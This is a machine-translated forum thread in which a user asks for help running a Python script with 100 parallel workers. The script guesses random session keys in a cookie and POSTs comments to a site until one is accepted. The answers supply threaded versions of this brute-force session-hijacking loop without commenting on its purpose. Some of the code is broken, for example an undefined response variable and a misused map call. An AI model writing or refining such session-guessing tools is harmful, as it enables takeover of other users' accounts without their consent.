Python多处理工人直到响应200



美好的一天,我是新来的python,我已经尽力在下面构建代码:

import http.client
import random
import string
import multiprocessing
def worker():
    """worker function"""
    if res.status == 200:
        print("Valid key found: " + key + " Got status: ", + res.status)
    elif res.status == 302:
        print("invalid key! " + key + "!")
    return
def randomStringDigits(stringLength=6):
    """Generate a random string of letters and digits """
    lettersAndDigits = string.ascii_letters + string.digits
    return ''.join(random.choice(lettersAndDigits) for i in range(stringLength))
key = randomStringDigits(14);
conn = http.client.HTTPSConnection("www.pra1ser.com", timeout=10)
payload = "comment_text=%40asnikuwait1%20test2&replied_to_comment_id="
headers = {
    'cookie': "md5=5; prm_124024574287414=base_domain=api.pra1ser.com; csrftoken=5es0TEJiV6JOOjEzqyAfyeyN1FtnRIi1; session=CVzZzZz%3A" + key + "%3A8;",
    'x-csrftoken': "5es0TEJiV6JOOjEzqyAfyeyN1FtnRIi1",
    'content-type': "application/x-www-form-urlencoded"
    }
conn.request("POST", "/web/comments/2050815839087051573/add/", payload, headers)
res = conn.getresponse()
data = res.read()
#print(data.decode("utf-8"))
#print(headers)
#print(res.status)
if __name__ == '__main__':
    jobs = []
    for i in range(100):
        p = multiprocessing.Process(target=worker)
        jobs.append(p)
        p.start()

我想让它与100名工人进行多处理,直到从服务器获得" 200"响应,然后破裂。

我在True时尝试过,但是我打破了代码,很多错误。而且我试图无限循环,但尝试失败。

我希望有人可以帮助我。

谢谢,问候。pra1

当您使用多进程时,不是必需的(也许可能会减慢整个过程(来使用循环,这是实现您想要的多搜寻的最简单方法,就是使用with语句,由于我不知道您要进入的真实网站,但我没有能力尝试,但看起来应该这样:

from concurrent.futures import ThreadPoolExecutor
... 
...
def worker(con):
    """worker function"""
    while res.status != 200:
        res = conn.getresponse()
        if res.status == 200:
            return "Valid key found: " + key + " Got status: ", + res.status
        elif res.status == 302:
            print( "invalid key! " + key + "!")
...
with ThreadPoolExecutor(max_workers=100) as pool:
        results = pool.map(worker, res)

#!/usr/bin/python
 import http.client
 import random
 import string
 import multiprocessing
 import sys
 import threading
 exitFlag = 0
def randomStringDigits(stringLength=6):
    """Generate a random string of letters and digits """
    lettersAndDigits = string.ascii_letters + string.digits
    return ''.join(random.choice(lettersAndDigits) for i in range(stringLength))
def worker(event):
    """worker function"""
    key = randomStringDigits(14)
    conn = http.client.HTTPSConnection("google.com", timeout=60)
    payload = "comment_text=%40asnikuwait1%20test2&replied_to_comment_id="
    headers = {
    'cookie': "md5=5; prm_124024574287414=base_domain=api.pra1ser.com; csrftoken=5es0TEJiV6JOOjEzqyAfyeyN1FtnRIi1; session=CVzZzZz%3A" + key + "%3A8;",
    'x-csrftoken': "5es0TEJiV6JOOjEzqyAfyeyN1FtnRIi1",
    'content-type': "application/x-www-form-urlencoded"
}
    conn.request("POST", "/web/comments/2050815839087051573/add/",
             payload, headers)
    res = conn.getresponse()
    if res.status == 200:
        print("Valid key found: " + key + " Got status: " + res.status)
        event.set()
    elif res.status == 302:
        print("invalid key! " + key + "!")
    else:
        print("invalid key! " + key + "!")
class myThread (threading.Thread):
    def __init__(self, threadID, event):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.event = event
    def run(self):
        worker(self.event)
if __name__ == '__main__':
    jobs = []
    max_threads = 10
    # Create Event
    event = multiprocessing.Event()
    # Create two processes
    while not event.is_set():
        for i in range(max_threads):
            thread = myThread(i, event)
            thread.start()
            jobs.append(thread)
        for i in jobs:
            i.join()
    # Check whether event is set or not
    # When set close all child processes
    while True:
        if event.is_set():
            # Terminating main process
            print('Exiting Process...')
            sys.exit(1)

相关内容

  • 没有找到相关文章

最新更新